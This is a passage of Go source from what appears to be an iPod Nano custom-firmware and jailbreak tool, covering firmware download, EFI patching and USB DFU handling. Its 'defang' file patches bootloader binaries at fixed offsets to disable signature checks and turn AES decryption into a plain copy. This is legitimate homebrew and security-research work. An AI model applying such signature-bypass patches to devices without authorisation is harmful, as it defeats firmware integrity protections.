func getWTFDefanged(app *app.App, options ...GetOption) error {
	defanger, ok := cfw.WTFDefangers[app.Desc.Kind]
	if !ok {
		return fmt.Errorf("don't know how to defang a %s", app.Desc.Kind)
	}

	decrypted, err := Get(app, PayloadKindWTFDecrypted)
	if err != nil {
		return err
	}
	defanged, err := defanger(decrypted)
	if err != nil {
		return fmt.Errorf("defanging failed: %w", err)
	}

	fspath := pathFor(&app.Desc.Kind, PayloadKindWTFDefanged, "")
	if err := Store.WriteFile(fspath, defanged); err != nil {
		return fmt.Errorf("could not write WTF: %w", err)
	}
	return nil
}

func getRetailOSCustomized(app *app.App, options ...GetOption) ([]byte, error) {
	decrypted, err := Get(app, PayloadKindRetailOSDecrypted)
	if err != nil {
		return nil, err
	}

	needle1 := []byte("Eject before disconnecting\x00")
	needle2 := []byte("freemyipod\x00")
	paddingLen := len(needle1) - len(needle2)
	needle2 = append(needle2, bytes.Repeat([]byte{0}, paddingLen)...)
	customized := bytes.ReplaceAll(decrypted, needle1, needle2)
	return customized, nil
}

func Get(app *app.App, payload PayloadKind, options ...GetOption) ([]byte, error) {
	url, err := urlForKind(payload, app.Desc.Kind)
	if err != nil {
		return nil, err
	}

	fspath := pathFor(&app.Desc.Kind, payload, url)
	if exists, err := Store.Exists(fspath); err == nil && exists {
		slog.Info("Get: Using cached data", "kind", app.Desc.Kind, "payload", payload, "path", fspath)
		return Store.ReadFile(fspath)
	}
	slog.Info("Get: No cached data, performing slow action...")

	switch payload {
	case PayloadKindWTFUpstream, PayloadKindRecoveryUpstream, PayloadKindFirmwareUpstream, PayloadKindBootloaderUpstream, PayloadKindRetailOSUpstream, PayloadKindDiagsUpstream:
		err = getPayloadFromPhobosIPSW(payload, app.Desc.Kind, url, options...)
	case PayloadKindBootloaderDecrypted:
		err = getBootloaderDecrypted(app, options...)
	case PayloadKindWTFDecrypted:
		err = getWTFDecrypted(app, options...)
	case PayloadKindDiagsDecrypted:
		err = getDiagsDecrypted(app, options...)
	case PayloadKindRetailOSDecrypted:
		err = getRetailOSDecrypted(app, options...)
	case PayloadKindWTFDefanged:
		err = getWTFDefanged(app, options...)
	case PayloadKindRetailOSCustomized:
		// Not cached.
		return getRetailOSCustomized(app, options...)
	default:
		return nil, fmt.Errorf("don't know how to get a %s", payload)
	}
	if err != nil {
		return nil, err
	}

	return Store.ReadFile(fspath)
}

func pathFor(dev *devices.Kind, payload PayloadKind, upstreamURL string) string {
	devpart := "any"
	if dev != nil {
		devpart = string(*dev)
	}
	marker := ""
	if upstreamURL != "" {
		s := sha256.New()
		fmt.Fprintf(s, "%s", upstreamURL)
		marker = "-" + hex.EncodeToString(s.Sum(nil))
	}
	parts := []string{
		fmt.Sprintf("%s-%s%s.bin", devpart, payload, marker),
	}
	return path.Join(parts...)
}


================================================
FILE: pkg/cache/cache_test.go
================================================
package cache

import (
	"bytes"
	"fmt"
	"os"
	"testing"

	"github.com/freemyipod/wInd3x/pkg/app"
	"github.com/freemyipod/wInd3x/pkg/devices"
	"github.com/freemyipod/wInd3x/pkg/mse"
)

func TestRepackAll(t *testing.T) {
	for _, kind := range []devices.Kind{
		devices.Nano3,
		// Don't diff test N4G as padding in firmware file contains repeat data
		// from previous blocks - someone forgot a memset :).
		//devices.Nano4,
		devices.Nano5,
		devices.Nano6,
		devices.Nano7,
		devices.Nano7Late,
	} {
		t.Run(fmt.Sprintf("%s", kind.String()), func(t *testing.T) {
			a := app.App{
				Desc: &devices.Description{
					Kind: kind,
				},
			}
			fw, err := Get(&a, PayloadKindFirmwareUpstream)
			if err != nil {
				t.Fatalf("%s: could not get firmware: %v", kind, err)
			}

			m, err := mse.Parse(bytes.NewReader(fw))
			if err != nil {
				t.Fatalf("%s: could not parse firmware: %v", kind, err)
			}
			for _, file := range m.Files {
				if !file.Header.Valid() {
					continue
				}
			}

			fw2, err := m.Serialize()
			if err != nil {
				t.Fatalf("%s: could not serialize firmware: %v", kind, err)
			}
			os.WriteFile(fmt.Sprintf("/tmp/%s out.bin", kind.String()), fw2, 0600)

			if !bytes.Equal(fw, fw2) {
				t.Fatalf("%s: diff in emitted file", kind)
			}
		})
	}
}


================================================
FILE: pkg/cache/phobos.go
================================================
package cache

import (
	"fmt"
	"io"
	"log/slog"
	"net/http"
	"sort"

	"howett.net/plist"

	"github.com/freemyipod/wInd3x/pkg/devices"
)

type jingle struct {
	MobileDeviceSoftware map[string]mobileDeviceSoftwareVersion `plist:"MobileDeviceSoftwareVersionsByVersion"`
	IPodSoftwareVersions map[string]iPodSoftwareVersion         `plist:"iPodSoftwareVersions"`
}

type mobileDeviceSoftwareVersion struct {
	RecoverySoftware struct {
		WTF      map[string]recoverySoftware `plist:"WTF"`
		Firmware struct {
			DFU map[string]recoverySoftware `plist:"DFU"`
		} `plist:"Firmware"`
	} `plist:"RecoverySoftwareVersions"`
}

type recoverySoftware struct {
	FirmwareURL string
}

type iPodSoftwareVersion struct {
	UpdaterFamilyID int    `plist:"UpdaterFamilyID"`
	FirmwareURL     string `plist:"FirmwareURL"`
}

const jingleURL = "https://itunes.apple.com/WebObjects/MZStore.woa/wa/com.apple.jingle.appserver.client.MZITunesClientCheck/version"

var (
	extraFirmwareVersions = map[devices.Kind]map[string]string{
		devices.Nano3: {
			"1.0.1": "http://appldnld.apple.com/iPod/SBML/osx/bundles/061-3878.20070914.P0omB/iPod_26.1.0.1.ipsw",
			"1.0.2": "http://appldnld.apple.com/iPod/SBML/osx/bundles/061-3930.20071005.94rVg/iPod_26.1.0.2.ipsw",
			"1.0.3": "http://appldnld.apple.com/iPod/SBML/osx/bundles/061-3941.20071115.Hngr4/iPod_26.1.0.3.ipsw",
			"1.1":   "http://appldnld.apple.com/iPod/SBML/osx/bundles/061-4011.20080115.Gh5yt/iPod_26.1.1.ipsw",
			"1.1.2": "http://appldnld.apple.com/iPod/SBML/osx/bundles/061-4276.20080430.Gbjt5/iPod_26.1.1.2.ipsw",
			"1.1.3": "http://appldnld.apple.com/iPod/SBML/osx/bundles/061-5164.20080722.hnt3A/iPod_26.1.1.3.ipsw",
		},
		devices.Nano5: {
			"1.0.1": "http://appldnld.apple.com/iPod/SBML/osx/bundles/061-7165.20090909.AzPKm/iPod_1.0.1_34A10006.ipsw",
		},
		devices.Nano6: {
			"1.0": "http://appldnld.apple.com/iPod/SBML/osx/bundles/061-9054.20100907.VKPt5/iPod_1.0_36A00403.ipsw",
		},
	}
)

func GetFirmwareVersions(dk devices.Kind) []string {
	var res []string
	if extra, ok := extraFirmwareVersions[dk]; ok {
		for k := range extra {
			res = append(res, k)
		}
	}
	sort.Strings(res)
	res = append(res, "current")
	return res
}

var FirmwareVersionOverrides map[devices.Kind]string

func getJingle() (*jingle, error) {
	fspath := pathFor(nil, PayloadKindJingleXML, "")
	var bytes []byte
	exists, err := Store.Exists(fspath)
	if err != nil {
		return nil, err
	}
	if exists {
		slog.Info("Jingle: Using cached XML....")
		bytes, _ = Store.ReadFile(fspath)
	}
	if bytes == nil {
		slog.Info("Jingle: Downloading XML...")
		resp, err := http.Get(jingleURL)
		if err != nil {
			return nil, fmt.Errorf("could not download iTunes XML: %w", err)
		}
		bytes, err = io.ReadAll(resp.Body)
		if err != nil {
			return nil, fmt.Errorf("could not download iTunes XML: %w", err)
		}

		if err := Store.WriteFile(fspath, bytes); err != nil {
			slog.Error("Could not save iTunes XML cache", "err", err)
		}
	}
	slog.Info("Jingle: Got XML!")

	var res jingle
	if _, err := plist.Unmarshal(bytes, &res); err != nil {
		return nil, err
	}
	slog.Info("Jingle: Unmarshaled.")
	return &res, nil
}

func RecoveryFirmwareDFUURL(dev devices.Kind) (string, error) {
	j, err := getJingle()
	if err != nil {
		return "", err
	}

	pid, ok := dev.Description().PIDs[devices.WTF]

	if !ok {
		return "", fmt.Errorf("could not find WTF PID for device %s", dev)
	}

	pidext := int(pid) << 16
	k2 := fmt.Sprintf("%d", pidext)

	for _, v := range j.MobileDeviceSoftware {
		if rs, ok := v.RecoverySoftware.Firmware.DFU[k2]; ok {
			return rs.FirmwareURL, nil
		}
	}
	return "", fmt.Errorf("not found")
}

func RecoveryWTFURL(dev devices.Kind) (string, error) {
	j, err := getJingle()
	if err != nil {
		return "", err
	}

	pid, ok := dev.Description().PIDs[devices.DFU]

	if !ok {
		return "", fmt.Errorf("could not find DFU PID for device %s", dev)
	}

	pidext := int(pid) << 16
	k2 := fmt.Sprintf("%d", pidext)

	for _, v := range j.MobileDeviceSoftware {
		if rs, ok := v.RecoverySoftware.WTF[k2]; ok {
			return rs.FirmwareURL, nil
		}
	}
	return "", fmt.Errorf("not found")
}

func FirmwareURL(dev devices.Kind) (string, error) {
	if version, ok := FirmwareVersionOverrides[dev]; ok {
		if version != "current" {
			if extra, ok := extraFirmwareVersions[dev]; ok {
				if url, ok := extra[version]; ok {
					return url, nil
				}
			}
			return "", fmt.Errorf("firmware IPSW override specified, but invalid")
		}
	}

	j, err := getJingle()
	if err != nil {
		return "", err
	}

	for _, isv := range j.IPodSoftwareVersions {
		if isv.UpdaterFamilyID != dev.Description().UpdaterFamilyID {
			continue
		}
		return isv.FirmwareURL, nil
	}
	return "", fmt.Errorf("not found")
}

func urlForKind(pk PayloadKind, dk devices.Kind) (string, error) {
	switch pk {
	case PayloadKindWTFUpstream:
		return RecoveryWTFURL(dk)
	case PayloadKindRecoveryUpstream:
		return RecoveryFirmwareDFUURL(dk)
	case PayloadKindFirmwareUpstream, PayloadKindBootloaderUpstream, PayloadKindRetailOSUpstream, PayloadKindDiagsUpstream:
		return FirmwareURL(dk)
	default:
		return "", nil
	}
}


================================================
FILE: pkg/cfw/cfw.go
================================================
package cfw

import (
	"bytes"
	"fmt"

	"github.com/freemyipod/wInd3x/pkg/efi"
)

// VisitVolume is the main call used to patch an EFI volume. The patching to be
// performed is defined by the VolumeVisitor given.
func VisitVolume(v *efi.Volume, vi VolumeVisitor) error {
	for _, file := range v.Files {
		if err := vi.VisitFile(file); err != nil {
			return err
		}
		for _, section := range file.Sections {
			if err := visitSection(section, vi); err != nil {
				return err
			}
		}
	}
	return vi.Done()
}

func visitSection(s efi.Section, vi VolumeVisitor) error {
	if err := vi.VisitSection(s); err != nil {
		return err
	}
	for _, sub := range s.Sub() {
		if f := sub.File; f != nil {
			if err := vi.VisitFile(f); err != nil {
				return err
			}
		}
		if s := sub.Section; s != nil {
			if err := visitSection(s, vi); err != nil {
				return err
			}
		}
	}
	return nil
}

// VolumeVisitor is a visitor which can modify an EFI firmware volume. Its
// methods will be called by VisitVolume as it recursively traverses files and
// sections contained in files.
type VolumeVisitor interface {
	// VisitFile will be called when the traversal encounters a file.
	VisitFile(file *efi.FirmwareFile) error
	// VisitSection will be called when the traversal encounters a section
	// withing a file.
	VisitSection(section efi.Section) error
	// Done will be called when the traversal is done with all files/sections.
	Done() error
}

// MultipleVisitors implements VolumeVisitor by calling subordinate
// VolumeVisitors in parallel, allowing multiple files within a single firmware
// volume to be patched.
type MultipleVisitors []VolumeVisitor

func (m MultipleVisitors) VisitFile(file *efi.FirmwareFile) error {
	for _, vi := range m {
		if err := vi.VisitFile(file); err != nil {
			return err
		}
	}
	return nil
}

func (m MultipleVisitors) VisitSection(section efi.Section) error {
	for _, vi := range m {
		if err := vi.VisitSection(section); err != nil {
			return err
		}
	}
	return nil
}

func (m MultipleVisitors) Done() error {
	for _, vi := range m {
		if err := vi.Done(); err != nil {
			return err
		}
	}
	return nil
}

// VisitPE32InFile is a VolumeVisitor which applies a Patch on a single PE32
// section within a file. The section doesn't have to be top-level.
type VisitPE32InFile struct {
	// FileGUID is the file on whose PE32 section Patch will be applied.
	FileGUID efi.GUID
	Patch    Patch

	inFile  bool
	applied bool
}

func (v *VisitPE32InFile) VisitFile(file *efi.FirmwareFile) error {
	v.inFile = file.GUID.String() == v.FileGUID.String()
	return nil
}

func (v *VisitPE32InFile) VisitSection(section efi.Section) error {
	if !v.inFile {
		return nil
	}
	if section.Header().Type == efi.SectionTypePE32 {
		if v.applied {
			return fmt.Errorf("more than one PE32 section found")
		}
		out, err := v.Patch.Apply(section.Raw())
		if err != nil {
			return fmt.Errorf("patching failed: %w", err)
		}
		section.SetRaw(out)
		v.applied = true
	}
	return nil
}

func (v *VisitPE32InFile) Done() error {
	if !v.applied {
		return fmt.Errorf("guid %s not found", v.FileGUID.String())
	}
	return nil
}

// Patch defined an operation performed on some binary blob.
type Patch interface {
	Apply(in []byte) (out []byte, err error)
}

// Patches implements Patch by calling a series of Patches in sequnce. This
// allows applying multiple Patches to a single section.
type Patches []Patch

func (p Patches) Apply(in []byte) ([]byte, error) {
	cur := in
	for i, s := range p {
		next, err := s.Apply(cur)
		if err != nil {
			return nil, fmt.Errorf("patch %d: %w", i, err)
		}
		cur = next
	}
	return cur, nil
}

// ReplaceAt replaces all occurences of a given pattern with another sequence.
// The sequences must be equal length.
type ReplaceExact struct {
	From []byte
	To   []byte
}

func (p ReplaceExact) Apply(in []byte) ([]byte, error) {
	if len(p.From) != len(p.To) {
		return nil, fmt.Errorf("from/to is different length")
	}
	if bytes.Equal(p.From, p.To) {
		return nil, fmt.Errorf("pattern is a no-op")
	}
	out := bytes.ReplaceAll(in, p.From, p.To)
	if bytes.Equal(in, out) {
		return nil, fmt.Errorf("pattern not found")
	}
	return out, nil
}

// PatchAt writes a sequence of bytes at a given offset.
type PatchAt struct {
	Address int
	To      []byte
}

func (p PatchAt) Apply(in []byte) ([]byte, error) {
	if len(in) < p.Address+len(p.To) {
		return nil, fmt.Errorf("input too small")
	}

	data := in[:p.Address]
	data = append(data, p.To...)
	data = append(data, in[p.Address+len(p.To):]...)
	return data, nil
}


================================================
FILE: pkg/cfw/defang_wtf.go
================================================
package cfw

import (
	"bytes"
	"fmt"
	"log/slog"

	"github.com/freemyipod/wInd3x/pkg/devices"
	"github.com/freemyipod/wInd3x/pkg/efi"
	"github.com/freemyipod/wInd3x/pkg/image"
)

// defanger takes a decrypted WTF and returns it with security checks disabled.
type Defanger func(decrypted []byte) ([]byte, error)

var WTFDefangers = map[devices.Kind]Defanger{
	devices.Nano3: defangRaw(map[int][]byte{
		// replace bytes at addresses in the WTF binary:
		0x1990: []byte{0x00, 0x70, 0xA0, 0xE3, 0x22, 0x00, 0x00, 0xEA},                      // skip signature check
		0x770C: []byte("D\x00e\x00f\x00a\x00n\x00g\x00e\x00d\x00 \x00W\x00T\x00F\x00!\x00"), // change USB product string to show it's defanged
	}),
	devices.Nano5: defangEFI(MultipleVisitors([]VolumeVisitor{
		// Change USB vendor string in RestoreDFU.efi.
		&VisitPE32InFile{
			FileGUID: efi.MustParseGUID("a0517d80-37fa-4d06-bd0e-941d5698846a"),
			Patch: Patches([]Patch{
				ReplaceExact{From: []byte("Apple Inc."), To: []byte("freemyipod")},
			}),
		},
		// Disable signature checking in ROMBootValidator.efi.
		&VisitPE32InFile{
			FileGUID: efi.MustParseGUID("1ba058e3-2063-4919-8002-6d2e0c947e60"),
			Patch: Patches([]Patch{
				// CheckHeaderSignatureImpl -> return 0
				PatchAt{
					Address: 0x15b8,
					To: []byte{
						0x00, 0x20,
						0x70, 0x47,
					},
				},
				// CheckDataSignature -> return 1
				PatchAt{
					Address: 0x0b4c,
					To: []byte{
						0x01, 0x20,
						0x70, 0x47,
					},
				},
			}),
		},
	})),
	devices.Nano7: defangEFI(MultipleVisitors([]VolumeVisitor{
		// Change USB vendor string in ARM/AppleMobilePkg/Dfu/Dfu/DEBUG/Dfu.dll.
		&VisitPE32InFile{
			FileGUID: efi.MustParseGUID("936ffb79-62f6-4fc0-aff0-3e2a1c56f1a7"),
			Patch: Patches([]Patch{
				ReplaceExact{From: []byte("Apple Inc."), To: []byte("freemyipod")},
			}),
		},
		// Disable signature checking in ARM/SamsungPkg/Chipset/S5L8720/ROMBootValidator/ROMBootValidator/DEBUG/ROMBootValidator.dll
		&VisitPE32InFile{
			FileGUID: efi.MustParseGUID("1ba058e3-2063-4919-8002-6d2e0c947e60"),
			Patch: Patches([]Patch{
				// CheckHeaderSignatureImpl -> return 0
				PatchAt{
					Address: 0x19a4,
					To: []byte{
						0x00, 0x20, // mov r0, #0
						0x70, 0x47, // bx lr
					},
				},
				// CheckDataSignature -> return 1
				PatchAt{
					Address: 0x0d78,
					To: []byte{
						0x01, 0x20, // mov r0, #1
						0x70, 0x47, // bx lr
					},
				},
				// Call AES for both type 4 and type 3 (we generate type 4,
				// while usually AES images are type 3, we turn AES decryption
				// into a no-op in Aes.dll below).
				PatchAt{
					Address: 0x176e,
					To: []byte{
						0x04, 0x28, // cmp r0, #4
					},
				},
			}),
		},
		// Replace AES decryption with no-op memcpy
		&VisitPE32InFile{
			FileGUID: efi.MustParseGUID("c0287dba-8a73-4ff1-98f1-455b97d4d480"),
			Patch: Patches([]Patch{
				// AESProtocol::Decrypt -> memcpy
				PatchAt{
					Address: 0x488,
					To: []byte{
						// _loop:
						0x08, 0x68, // ldr r0, [r1]
						0x04, 0x31, // add r1, r1, #4
						0x10, 0x60, // str r0, [r2]
						0x04, 0x32, // add r2, r2, #4
						0x04, 0x3b, // sub r3, r3, #4
						0x03, 0xb1, // cbz r3, _done
						0xf8, 0xe7, // b _loop
						// _done:
						0x70, 0x47, // bx lr
					},
				},
			}),
		},
	})),
}

func defangEFI(visitor VolumeVisitor) Defanger {
	return func(decrypted []byte) ([]byte, error) {
		img, err := image.Read(bytes.NewReader(decrypted))
		if err != nil {
			return nil, err
		}

		defanged, err := applyPatches(img, visitor)
		if err != nil {
			return nil, fmt.Errorf("failed to apply patches: %w", err)
		}
		return defanged, nil
	}
}

func applyPatches(img *image.IMG1, patches VolumeVisitor) ([]byte, error) {
	offs := 0x100
	switch img.DeviceKind {
	case devices.Nano7, devices.Nano7Late:
		offs = 0
	}
	nr := efi.NewNestedReader(img.Body[offs:])
	fv, err := efi.ReadVolume(nr)
	if err != nil {
		return nil, fmt.Errorf("failed to read firmware volume: %w", err)
	}

	origSize, err := SecoreOffset(fv)
	if err != nil {
		return nil, fmt.Errorf("failed to calculate original secore offset: %w", err)
	}
	slog.Info("Initial pre-padding", "size", origSize)

	slog.Info("Applying patches...")
	if err := VisitVolume(fv, patches); err != nil {
		return nil, fmt.Errorf("failed to apply patches: %w", err)
	}

	slog.Info("Fixing up padding...")
	if err := SecoreFixup(origSize, fv); err != nil {
		return nil, fmt.Errorf("failed to fix up size: %w", err)
	}
	slog.Info("Done.")

	fvb, err := fv.Serialize()
	if err != nil {
		return nil, fmt.Errorf("failed to rebuild firmware: %w", err)
	}

	fvb = append(img.Body[:offs], fvb...)
	imb, err := image.MakeUnsigned(img.DeviceKind, img.Header.Entrypoint, fvb)
	if err != nil {
		return nil, fmt.Errorf("failed to build new image1: %w", err)
	}

	return imb, nil
}

func defangRaw(patches map[int][]byte) Defanger {
	return func(decrypted []byte) ([]byte, error) {
		img, err := image.Read(bytes.NewReader(decrypted))
		if err != nil {
			return nil, fmt.Errorf("failed to read image: %w", err)
		}

		for offset, patch := range patches {
			if len(img.Body) < offset+len(patch) {
				return nil, fmt.Errorf("patch at offset %x is too large", offset)
			}
			copy(img.Body[offset:], patch)
		}

		defanged, err := image.MakeUnsigned(img.DeviceKind, img.Header.Entrypoint, img.Body)
		if err != nil {
			return nil, fmt.Errorf("failed to build new image1: %w", err)
		}

		return defanged, nil
	}
}


================================================
FILE: pkg/cfw/fixup.go
================================================
package cfw

import (
	"fmt"
	"log/slog"

	"github.com/freemyipod/wInd3x/pkg/efi"
)

// secoreOffset returns the offset of the security core TE within the firmware
// volume. The security core is located in the last file in the firmware, and
// must not be moved around when the firmware is rebuilt.
func SecoreOffset(fv *efi.Volume) (int, error) {
	if len(fv.Files) < 3 {
		return 0, fmt.Errorf("firmwware volume must have at least two files")
	}

	if fv.Files[0].FileType == efi.FileTypeSecurityCore {
		// On N7G, the first file is the security core, and we just need to make
		// sure it stays as the first file.
		return fv.Files[0].ReadOffset, nil
	}

	ipadding := len(fv.Files) - 2
	ite := len(fv.Files) - 1
	if fv.Files[ipadding].FileType != efi.FileTypePadding {
		return 0, fmt.Errorf("second to last file must be padding")
	}
	if fv.Files[ite].FileType != efi.FileTypeSecurityCore {
		return 0, fmt.Errorf("last file must be security core")
	}

	return fv.Files[ite].ReadOffset, nil
}

// secoreFixup attempts to mangle the given firmware volume to place the
// security core at origPos. This is currently done by modifying the padding
// file, which is the second-to-last file within the firmware volume.
func SecoreFixup(origPos int, fv *efi.Volume) error {
	// Serialize and deserialize to get updated ReadOffsets and thus correct
	// SecoreOffset.
	data, err := fv.Serialize()
	if err != nil {
		return fmt.Errorf("when roundtrip-serializing: %w", err)
	}
	fv2, err := efi.ReadVolume(efi.NewNestedReader(data))
	if err != nil {
		return fmt.Errorf("when roundtrip-deserializing: %w", err)
	}

	startPos, err := SecoreOffset(fv2)
	if err != nil {
		return err
	}
	needed := origPos - startPos
	slog.Info("Pre-padding after patches", "startPos", startPos, "needed", needed)

	if needed == 0 {
		return nil
	}

	ipadding := len(fv.Files) - 2
	padding := fv.Files[ipadding]
	psize := int(padding.Size.Uint32() - 0x18)
	if needed < 0 {
		reduce := -needed
		if psize < reduce {
			return fmt.Errorf("Padding too small: need %d, got %d", reduce, psize)
		}
		psize -= reduce
	} else {
		psize += needed
	}
	padding.Size = efi.ToUint24(uint32(psize) + 0x18)

	// One more roundtrip to check. This code isn't great.
	data, err = fv.Serialize()
	if err != nil {
		return fmt.Errorf("when check-serializing: %w", err)
	}
	fv3, err := efi.ReadVolume(efi.NewNestedReader(data))
	if err != nil {
		return fmt.Errorf("when check-deserializing: %w", err)
	}

	endPos, err := SecoreOffset(fv3)
	if err != nil {
		return err
	}
	if endPos != origPos {
		return fmt.Errorf("Failed to adjust padding (%d -> %d)", origPos, endPos)
	}
	return nil
}


================================================
FILE: pkg/devices/devices.go
================================================
package devices

type Kind string

const (
	Nano3     Kind = "n3g"
	Nano4     Kind = "n4g"
	Nano5     Kind = "n5g"
	Nano6     Kind = "n6g"
	Nano7     Kind = "n7g"
	Nano7Late Kind = "n7g-late"
)

type InterfaceKind string

const (
	DFU  InterfaceKind = "dfu"
	WTF  InterfaceKind = "wtf"
	Disk InterfaceKind = "diskmode"
)

type DFUProtoVersion int

const (
	// DFUProtoVersion1 is implemented by Nano3G.
	DFUProtoVersion1 DFUProtoVersion = 1
	// DFUProtoVersion2 is implemented by Nano4G+.
	DFUProtoVersion2 DFUProtoVersion = 2
)

func (k Kind) String() string {
	switch k {
	case Nano3:
		return "Nano 3G"
	case Nano4:
		return "Nano 4G"
	case Nano5:
		return "Nano 5G"
	case Nano6:
		return "Nano 6G"
	case Nano7:
		return "Nano 7G"
	case Nano7Late:
		return "Nano 7G (Mid-2015)"
	}
	return "UNKNOWN"
}

func (k Kind) SoCCode() string {
	switch k {
	case Nano3:
		return "8702"
	case Nano4:
		return "8720"
	case Nano5:
		return "8730"
	case Nano6:
		return "8723"
	case Nano7, Nano7Late:
		return "8740"
	}
	return "INVL"
}

func (k Kind) DFUVersion() DFUProtoVersion {
	switch k {
	case Nano3:
		return DFUProtoVersion1
	default:
		return DFUProtoVersion2
	}
}

func (k Kind) Description() Description {
	for _, d := range Descriptions {
		if d.Kind == k {
			return d
		}
	}
	panic("unreachable")
}

type Description struct {
	VID             int16
	PIDs            map[InterfaceKind]int16
	UpdaterFamilyID int
	Kind            Kind
}

var Descriptions = []Description{
	{
		VID: 0x05ac,
		PIDs: map[InterfaceKind]int16{
			DFU:  0x1223,
			WTF:  0x1242,
			Disk: 0x1262,
		},
		UpdaterFamilyID: 26,
		Kind:            Nano3,
	},
	{
		VID: 0x05ac,
		PIDs: map[InterfaceKind]int16{
			DFU:  0x1225,
			WTF:  0x1243,
			Disk: 0x1263,
		},
		UpdaterFamilyID: 31,
		Kind:            Nano4,
	},
	{
		VID: 0x05ac,
		PIDs: map[InterfaceKind]int16{
			DFU:  0x1231,
			WTF:  0x1246,
			Disk: 0x1265,
		},
		UpdaterFamilyID: 34,
		Kind:            Nano5,
	},
	{
		VID: 0x05ac,
		PIDs: map[InterfaceKind]int16{
			DFU:  0x1232,
			WTF:  0x1248,
			Disk: 0x1266,
		},
		UpdaterFamilyID: 36,
		Kind:            Nano6,
	},
	{
		VID: 0x05ac,
		PIDs: map[InterfaceKind]int16{
			DFU:  0x1234,
			WTF:  0x1249,
			Disk: 0x1267,
		},
		UpdaterFamilyID: 37,
		Kind:            Nano7,
	},
	{
		VID: 0x05ac,
		PIDs: map[InterfaceKind]int16{
			WTF: 0x124a,
		},
		UpdaterFamilyID: 37,
		Kind:            Nano7Late,
	},
}


================================================
FILE: pkg/devices/usb.go
================================================
package devices

import (
	"errors"
	"time"
)

// Usb describes a common API to access an iPod (in any state - DFU, WTF,
// RetailOS, ...) over USB.
type Usb interface {
	// UseDefaultInterface requests the underlying provider to grant access to
	// control transfers to the default interface. This is most of our
	// interactions with the iPod.
	UseDefaultInterface() error

	// UseDiskInterface requests the underlying provider to grant access to the
	// USB Mass Storage API endpoints, taking them over from the default OS
	// driver.
	UseDiskInterface() (UsbMsEndpoints, error)

	// Control sends a control request to the device.
	Control(rType, request uint8, val, idx uint16, data []byte) (int, error)

	SetControlTimeout(time.Duration) error

	GetStringDescriptor(descIndex int) (string, error)

	// Close disposes of this device. No other functions may be called on the
	// interface afterwards.
	Close() error
}

type UsbMsInEndpoint interface {
	Read(buf []byte) (int, error)
}

type UsbMsOutEndpoint interface {
	Write(buf []byte) (int, error)
}

type UsbMsEndpoints struct {
	In  UsbMsInEndpoint
	Out UsbMsOutEndpoint
}

var UsbTimeoutError = errors.New("USB timeout error")


================================================
FILE: pkg/dfu/dfu.go
================================================
package dfu

import (
	"bytes"
	"encoding/binary"
	"fmt"
	"hash/crc32"
	"io"
	"log/slog"
	"time"

	"github.com/freemyipod/wInd3x/pkg/devices"
)

type Request uint8

const (
	RequestDetach    Request = 0
	RequestDnload    Request = 1
	RequestUpload    Request = 2
	RequestGetStatus Request = 3
	RequestClrStatus Request = 4
	RequestGetState  Request = 5
	RequestAbort     Request = 6
)

type Err uint8

const (
	ErrOk          Err = 0x00
	ErrTarget      Err = 0x01
	ErrFile        Err = 0x02
	ErrWrite       Err = 0x03
	ErrErase       Err = 0x04
	ErrCheckErased Err = 0x05
	ErrProg        Err = 0x06
	ErrVerify      Err = 0x07
	ErrAddress     Err = 0x08
	ErrNotDone     Err = 0x09
	ErrFirmware    Err = 0x0a
	ErrVendor      Err = 0x0b
	ErrUsbr        Err = 0x0c
	ErrPor         Err = 0x0d
	ErrUnknown     Err = 0x0e
	ErrStalledPkt  Err = 0x0f
)

type State uint8

const (
	StateAppIdle           State = 0
	StateAppDetach         State = 1
	StateIdle              State = 2
	StateDnloadSync        State = 3
	StateDnBusy            State = 4
	StateDnloadIdle        State = 5
	StateManifestSync      State = 6
	StateManifest          State = 7
	StateManifestWaitReset State = 8
	StateUploadIdle        State = 9
	StateError             State = 10
)

func (d State) String() string {
	switch d {
	case StateAppIdle:
		return "appIDLE"
	case StateAppDetach:
		return "appDETACH"
	case StateIdle:
		return "dfuIDLE"
	case StateDnBusy:
		return "dfuDNBUSY"
	case StateDnloadIdle:
		return "dfuDNLOAD-IDLE"
	case StateManifestSync:
		return "dfuMANIFEST-SYNC"
	case StateManifest:
		return "dfuMANIFEST"
	case StateManifestWaitReset:
		return "dfuMANIFEST-WAIT-RESET"
	case StateUploadIdle:
		return "dfuUPLOAD-IDLE"
	case StateError:
		return "dfuERROR"
	}
	return "UNKNOWN"
}

func GetState(usb devices.Usb) (State, error) {
	buf := make([]byte, 1)
	res, err := usb.Control(0xa1, uint8(RequestGetState), 0, 0, buf)
	if err != nil {
		return StateError, fmt.Errorf("control: %w", err)
	}
	if res != 1 {
		return StateError, fmt.Errorf("state returned %d bytes", res)
	}
	return State(uint8(buf[0])), nil
}

type Status struct {
	Err     Err
	State   State
	Timeout time.Duration
}

func GetStatus(usb devices.Usb) (*Status, error) {
	buf := make([]byte, 6)
	res, err := usb.Control(0xa1, uint8(RequestGetStatus), 0, 0, buf)
	if err != nil {
		return nil, fmt.Errorf("control: %w", err)
	}
	if res != 6 {
		return nil, fmt.Errorf("status returned %d bytes", res)
	}

	timeoutMsec := (uint32(buf[3]) << 16) | (uint32(buf[2]) << 8) | uint32(buf[1])
	return &Status{
		Err:     Err(uint8(buf[0])),
		State:   State(uint8(buf[4])),
		Timeout: time.Duration(timeoutMsec) * time.Millisecond,
	}, nil
}

func ClearStatus(usb devices.Usb) error {
	_, err := usb.Control(0x21, uint8(RequestClrStatus), 0, 0, nil)
	if err != nil {
		return fmt.Errorf("control: %w", err)
	}
	return nil
}

func ReceiveChunk(usb devices.Usb, l int, blockno uint16) ([]byte, error) {
	buf := make([]byte, l)
	_, err := usb.Control(0xa1, uint8(RequestUpload), blockno, 0, buf)
	if err != nil {
		return nil, fmt.Errorf("control: %w", err)
	}
	return buf, nil
}

func SendChunk(usb devices.Usb, c []byte, blockno uint16) error {
	_, err := usb.Control(0x21, uint8(RequestDnload), blockno, 0, c)
	if err != nil {
		return fmt.Errorf("control: %w", err)
	}
	return nil
}

type SendOption struct {
	Progress func(float32)
}

func SendImage(usb devices.Usb, i []byte, version devices.DFUProtoVersion, opts ...SendOption) error {
	var progress func(float32)
	for _, opt := range opts {
		if opt.Progress != nil {
			progress = opt.Progress
		}
	}

	if err := Clean(usb); err != nil {
		return fmt.Errorf("clean: %w", err)
	}

	if version == devices.DFUProtoVersion1 {
		crc := bytes.NewBuffer(nil)
		binary.Write(crc, binary.LittleEndian, crc32.ChecksumIEEE(i))
		for _, b := range crc.Bytes() {
			i = append(i, b^0xff)
		}
	}

	clen := 0x400

	buf := bytes.NewBuffer(i)
	blockno := uint16(0)
	done := 0
	for {
